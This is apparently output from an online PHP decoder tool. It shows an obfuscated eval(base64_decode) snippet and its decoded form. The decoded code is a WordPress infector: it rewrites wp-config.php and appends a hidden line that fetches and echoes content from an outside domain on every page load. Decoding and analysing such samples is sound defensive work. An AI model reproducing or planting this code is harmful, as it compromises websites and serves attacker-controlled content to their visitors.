Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(base64_decode("JG9yaWdpbmFsQ29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJ3cC1jb25maWcucGhwIi..
Decoded Output download
$originalContent = file_get_contents("wp-config.php");
if(!strstr($originalContent,"eval(")) {
@file_put_contents("wp-config.php",str_replace("<?php","<?php ob_start();",$originalContent));
if(!strstr(file_get_contents("wp-config.php"),"?>")) {
$content = "eval(base64_decode('ZWNobyBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cubHVrc296ZS5jb20vYXV0by5waHA/dXJsPSIuJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0pOw=='));";
}
else {
$content = "<?php eval(base64_decode('ZWNobyBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cubHVrc296ZS5jb20vYXV0by5waHA/dXJsPSIuJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0pOw==')); ?>";
}
@file_put_contents("wp-config.php",$content,FILE_APPEND);
}
Did this file decode correctly?
Original Code
eval(base64_decode("JG9yaWdpbmFsQ29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJ3cC1jb25maWcucGhwIik7DQppZighc3Ryc3RyKCRvcmlnaW5hbENvbnRlbnQsImV2YWwoIikpIHsNCgkNCglAZmlsZV9wdXRfY29udGVudHMoIndwLWNvbmZpZy5waHAiLHN0cl9yZXBsYWNlKCI8P3BocCIsIjw/cGhwIG9iX3N0YXJ0KCk7Iiwkb3JpZ2luYWxDb250ZW50KSk7DQoJICANCgkNCglpZighc3Ryc3RyKGZpbGVfZ2V0X2NvbnRlbnRzKCJ3cC1jb25maWcucGhwIiksIj8+IikpIHsNCgkJJGNvbnRlbnQgPSAiZXZhbChiYXNlNjRfZGVjb2RlKCdaV05vYnlCQVptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0ltaDBkSEE2THk5M2QzY3ViSFZyYzI5NlpTNWpiMjB2WVhWMGJ5NXdhSEEvZFhKc1BTSXVKRjlUUlZKV1JWSmJJbE5GVWxaRlVsOU9RVTFGSWwwcE93PT0nKSk7IjsNCgl9DQoJZWxzZSB7DQoJCSRjb250ZW50ID0gIjw/cGhwIGV2YWwoYmFzZTY0X2RlY29kZSgnWldOb2J5QkFabWxzWlY5blpYUmZZMjl1ZEdWdWRITW9JbWgwZEhBNkx5OTNkM2N1YkhWcmMyOTZaUzVqYjIwdllYVjBieTV3YUhBL2RYSnNQU0l1SkY5VFJWSldSVkpiSWxORlVsWkZVbDlPUVUxRklsMHBPdz09JykpOyA/PiI7CQ0KCX0NCglAZmlsZV9wdXRfY29udGVudHMoIndwLWNvbmZpZy5waHAiLCRjb250ZW50LEZJTEVfQVBQRU5EKTsNCgkNCn0="));
Function Calls
base64_decode | 1 |
Stats
MD5 | 851dea17dfe3362a0eb2185dda970c89 |
Eval Count | 1 |
Decode Time | 72 ms |